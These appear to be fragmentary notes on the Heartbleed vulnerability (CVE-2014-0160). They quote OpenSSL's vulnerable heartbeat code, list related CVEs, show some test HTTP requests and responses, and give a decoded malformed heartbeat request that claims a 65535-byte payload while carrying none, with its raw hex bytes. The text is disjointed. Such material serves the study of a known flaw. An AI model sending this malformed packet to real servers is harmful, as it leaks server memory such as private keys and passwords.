


2586:  unsigned char *p = &s->s3->rrec.data[0], *pl;
2588:  unsigned int payload;
2589:  unsigned int padding = 16; /* Use minimum padding */
2592:  hbtype = *p++;
2593:  n2s(p, payload);
2594:  pl = p;
2601:  if (hbtype == TLS1_HB_REQUEST) {
2603:    unsigned char *buffer, *bp;
2610:    buffer = OPENSSL_malloc(1 + 2 + payload + padding);
2611:    bp = buffer;
2614:  *bp++ = TLS1_HB_RESPONSE;
2615:  s2n(payload, bp);

2616: memcpy(bp, pl, payload);

CVE-2012-2686   2013/02/08 - CVSS v2 Base Score: 5.0
CVE-2014-0160 2014/04/07 - CVSS v2 Base Score: 5.0
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GET index.html HTTP/1.1
Accept:*/*
Connection: Alive

GET http://[?aAa::0] HTTP/1.1
Accept:*/*
Connection: Alive

Response data
HTTP/1.1 404 Not Found

Response data
time out

Response data
error

Response data
over read

Content Type : Heartbeat(24)
Version : TLS 1.1(0x0302)
Length : 3
Heartbeat Message

Type : Request(1)
Payload Length : 65535
Payload(0bytes)

.. 18 03 02 00 03 01 ff ff ..




